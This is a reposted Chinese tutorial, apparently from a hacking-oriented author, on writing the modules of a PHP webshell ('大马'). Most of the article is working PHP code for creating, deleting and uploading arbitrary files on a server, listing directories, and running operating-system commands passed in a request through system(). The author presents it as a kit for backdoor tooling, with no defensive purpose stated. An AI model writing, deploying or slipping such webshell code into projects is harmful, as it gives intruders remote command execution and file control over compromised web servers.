带你走进php大马的结构模块编写之路

栏目: PHP · 发布时间: 6年前

内容简介:带你走进php大马的结构模块编写之路

本文原创作者:Laimooc

第一部分:前沿综述

本次我主要写了 【文件的创建】、【文件的删除】、【文件的上传】、【目录浏览】、【命令执行】 小模块,以及 【组合的目录浏览和文件删除功能】 的模块:

带你走进 <a href='https://www.codercto.com/topics/18749.html'>php</a> 大马的结构模块编写之路

实验环境:

系统环境:winserver 12 r2 datacenter

脚本运行环境:PHP  version7.0.24

第二部分:代码编写讲解

【文件创建】

作者是借助form表单值传递,以及使用fopen和fwrite进行创建文件的。

具体的研究过程,我们结合代码来说明:

<form  method="" action="">
Filename:<inputtype="text" name="file" value="" />

这里我们是使用input标签,设定name值(这个,我们后面的php脚本中需要使用的,需要记住):

带你走进php大马的结构模块编写之路

我的代码如下,大家请指导:

File_content:<inputtype="textarea" name="file_content"style="width:300px;" value="" />

这里我们是接受form表单传递你要写的文件内容,有想深入的表格,可以对内容的写入上做出一些 编码解码 等的操作

<input type="submit" name="submit" value="Create">
这里是提交按钮
</form>
<?php
error_reporting(0);
//这里我们设置了错误等级为0
$filename=$_REQUEST['file'];
//这里接受我们的文件名字
$file_content=$_REQUEST['file_content'];
//这里接受我们的文件内容
$myfile =fopen($filename, "a") ;
//这里打开你事先设定的文件,如果没有会创建一个新的(由写入属性a a+ w w+ r r+ ab ab+等控制)
fwrite($myfile,$file_content);
//这里执行fwrite函数写入内容
fclose($myfile);
//关闭写入的文件
?>

带你走进php大马的结构模块编写之路

【文件删除】

下面是我们的删除文件代码,依然是 借助 了form表单,这样主要是为了操作起来方便,不用form表单也可以操作,只是比较麻烦(get或者post请求等)

代码如下:

带你走进php大马的结构模块编写之路

<form  method="" action="">
Filename:<inputtype="text" name="delfile" value="">
<inputtype="submit" name="submit" value="delete">
</form>
form表单的意思同上述我们阐述的意思,不再介绍,不懂的同学,可以下方留言给我,第一时间必回复
<?php
error_reporting(0);
//删除文件
$delfile=$_REQUEST['delfile'];
if(!isset($delfile)){
       exit;//判断是否设定了delfile
}
else{
       if (!unlink($delfile))
  {
  echo ("Error delete $delfile");
  //如果没有权限等其他原因文件未删除时候的信息
  }
else
  {
  echo ("Deleted $file");
  //删除成功的返回
  }
}
/*
使用方法:finame中输入1.txt 表示当前文件夹下的文件,可以输入指定文件夹中的文件如:/upload/1.txt ,即可。
删除成功的话:返回Deleted fiel 失败的话返回ErrorDelete。。。
*/
?>

带你走进php大马的结构模块编写之路

【文件上传】

文件的上传,这个是大家应该比较多见的了,文件类型的限制啦、存储等(如果作大马的话,当然是任意文件上传啦),不再 详细 的解释直接展示一下代码,如果大家有什么不懂之处也可以在下方留言给我:

带你走进php大马的结构模块编写之路 带你走进php大马的结构模块编写之路

代码如下:

<form action="" method="post" enctype="multipart/form-data" />
<label for="userfile">Upload file</label>
<input type="file" name="file" id="file"/>
<input type="submit" value="send file"/>
</form>

<?php
error_reporting(0);
//设置允许上传的mime类型,直接删除下面一段代码的话,则是任意文件上传
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "text/plain")
|| ($_FILES["file"]["type"] == "application/octet-stream")))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";//获取文件名称
    echo "Type: " . $_FILES["file"]["type"] . "<br />"; //获取文件类型
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";//获取文件大小
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";//文件上传时的暂存目录
    //判断文件是否已经存在
    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
              //从缓存目录move文件到要上传的目录
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  exit;
  }
?>

【目录浏览】

文件的浏览,我还没有仔细的研究,有深入研究的朋友,可以在下方回复代码哇,一起进(fei)步(sheng),我的代码比较垃圾: 我直接指定了要遍历的文件目录,在编写的过程中,我发现如果目录不存在的话,会直接浏览器占用资源崩溃!!!

带你走进php大马的结构模块编写之路

<?php
error_reporting(0);
header("Content-type:text/html; charset=utf8");
//读取指定目录 upload
$current_dir='upload';
$dir =opendir($current_dir);
echo '本文件:',dirname(__FILE__),'\\',basename(__FILE__),'<br/>';
//echo '当前文件:',__FILE__ ,'<br/>' ;
while(false !==($file = readdir($dir))){
       if($file != "." &&$file !=".."){
              echo"<li>$file</li>";
       }
}
closedir($dir);
?>
此外,参考了别人的dir()函数和getcwd(),觉得挺不错的,可以结合使用,大家可以改造一下。
<?php
$d =dir(getcwd());
echo "Handle:" . $d->handle . "<br>";
echo "Path:" . $d->path . "<br>";
while (($file =$d->read()) !== false){
  echo "filename: " . $file ."<br>";
}
$d->close();
?>

【命令执行】

命令执行,这是一个好玩的东西,php给了我们一些直接可以执行系统命令的函数: exec()、passthru()、system()、 shell_exec() 还有一个神奇的:反引号。

反引号,听起来尬不?

我的研究是使用system进行执行命令的,然后结合form表单进行值传递,主要还是为了表单的美观:

带你走进php大马的结构模块编写之路

代码如下:

<form method="" action="">
Command:<input type="text"name="exec" value="">
<input type="submit"name="submit" value="exec">
</form>

<?php
error_reporting(0);
$exec = $_REQUEST['exec']; //接收form表单传递过来的命令
system($exec);//可以替换为其他的执行函数
?>

【组合的目录浏览和文件删除功能】

本小节是为了抛砖引玉,整体的变幻构造组合等,需要大家共同努力,直接展示一下代码:

代码如下:

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf8");
//读取指定目录 upload
$current_dir ='upload';
$dir = opendir($current_dir);
echo '本文件:',dirname(__FILE__) ,'\\',basename(__FILE__),'<br/>';
//echo '当前文件:',__FILE__ ,'<br/>' ;

while(false !== ($file = readdir($dir))){
        if($file != "." && $file !=".."){
                echo "<li>$file</li>";
        }
}
closedir($dir);
?>

<form  method="" action="">
Filename:<input type="text" name="delfile" value="">
<input type="submit" name="submit" value="delete">
</form>

<?php
//删除文件
$delfile=$_REQUEST['delfile'];
if(!isset($delfile)){
        exit;
}
else{
        if (!unlink($delfile))
  {
  echo ("Error deleting $delfile");
  }
else
  {
  echo ("Deleted $file");
  }

}
?>

第三部分:文章总结 带你走进php大马的结构模块编写之路

带你走进php大马的结构模块编写之路

本次研究是继双十一之夜,睡不着觉,就来发了一篇文章,希望得到大家的指导,路过请留言,一带一路。

附件回原文下载 <<<<<<<<

>>>>>>黑客入门必备技能   带你入坑,和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩!


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

轻快的Java

轻快的Java

(美)塔特、杰兰德/国别:中国大陆 / 张晓坤 / 中国电力出版社 / 2006-7 / 29.00元

Java的开发者正深陷于复杂性的泥沼中而无法自拔。我们的经验和能力正接近极限,程序员为了编写支持所选框架的程序所花的时间比解决真正问题的时间要多得多。我们不禁要问,有必要把Java搞得这么复杂吗?   答案是否定的。本书给你指引了一条出路。无论是维护应用程序,还是从头开始设计,你都能够超越成规,并大幅精简基本框架、开发过程和最终代码。你能重新掌握一度失控的J2EE应用程序。   在本书......一起来看看 《轻快的Java》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

URL 编码/解码
URL 编码/解码

URL 编码/解码